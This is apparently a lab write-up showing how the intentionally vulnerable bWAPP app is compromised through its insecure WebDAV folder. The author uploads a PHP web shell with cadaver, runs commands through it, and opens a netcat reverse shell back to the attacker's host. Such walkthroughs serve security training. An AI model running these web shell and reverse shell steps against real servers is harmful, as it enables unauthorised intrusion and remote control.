bWAPP Webdav Exploitation

in bWAPP there is a section on Insecure WebDAV services. Our goal is to comprimise the server using only one tool.

http://192.168.56.101/webdav is the address to the webdav folder. We are going to use a tool called 'cadaver' to query webdav and upload a file to the remote server.

sam@ubuntu:~$ cadaver 
dav:!> help
Available commands: 
 ls         cd         pwd        put        get        mget       mput       
 edit       less       mkcol      cat        delete     rmcol      copy       
 move       lock       unlock     discover   steal      showlocks  version    
 checkin    checkout   uncheckout history    label      propnames  chexec     
 propget    propdel    propset    search     set        open       close      
 echo       quit       unset      lcd        lls        lpwd       logout     
 help       describe   about      
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:!>

dav:!> open http://192.168.56.101/webdav/
dav:/webdav/>
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        Iron_Man.pdf                      543803  Nov  2  2014
        Terminator_Salvation.pdf          462949  Nov  2  2014
        The_Amazing_Spider-Man.pdf        544600  Nov  2  2014
        The_Cabin_in_the_Woods.pdf        526187  Nov  2  2014
        The_Dark_Knight_Rises.pdf         756522  Nov  2  2014
        The_Incredible_Hulk.pdf           618117  Nov  2  2014
        bWAPP_intro.pdf                  5010042  Nov  2  2014
dav:/webdav/>
dav:/webdav/> put
The `put' command requires 1 argument:
  put local [remote] : Upload local file
dav:/webdav/> 

We can create a simple php shell '<?php echo system($_GET['cmd']);?>' and save it as '1.php'.

dav:/webdav/> put 1.php 1.php
Uploading 1.php to `/webdav/1.php':
Progress: [=============================>] 100.0% of 34 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        Iron_Man.pdf                      543803  Nov  2  2014
        Terminator_Salvation.pdf          462949  Nov  2  2014
        The_Amazing_Spider-Man.pdf        544600  Nov  2  2014
        The_Cabin_in_the_Woods.pdf        526187  Nov  2  2014
        The_Dark_Knight_Rises.pdf         756522  Nov  2  2014
        The_Incredible_Hulk.pdf           618117  Nov  2  2014
        bWAPP_intro.pdf                  5010042  Nov  2  2014
        1.php                             34  Feb  3 23:25
dav:/webdav/> 

After that we can run shell commands via our url: http://192.168.56.101/webdav/1.php?cmd=id.

We want a reverse connect back to us so we issue the command http://192.168.56.101/webdav/1.php?cmd=nc -e /bin/sh 192.168.56.1 8088 and wait for a connection on the other end.

sam@ubuntu:~$ nc -nvlp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 53129 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP/documents$ 

As you can see we got a sucessful connect back and have a shell we can work from,

www-data@bee-box:/var/www/bWAPP/documents$ ls

1.php     The_Amazing_Spider-Man.pdf  The_Incredible_Hulk.pdf
Iron_Man.pdf    The_Cabin_in_the_Woods.pdf  bWAPP_intro.pdf
Terminator_Salvation.pdf  The_Dark_Knight_Rises.pdf
www-data@bee-box:/var/www/bWAPP/documents$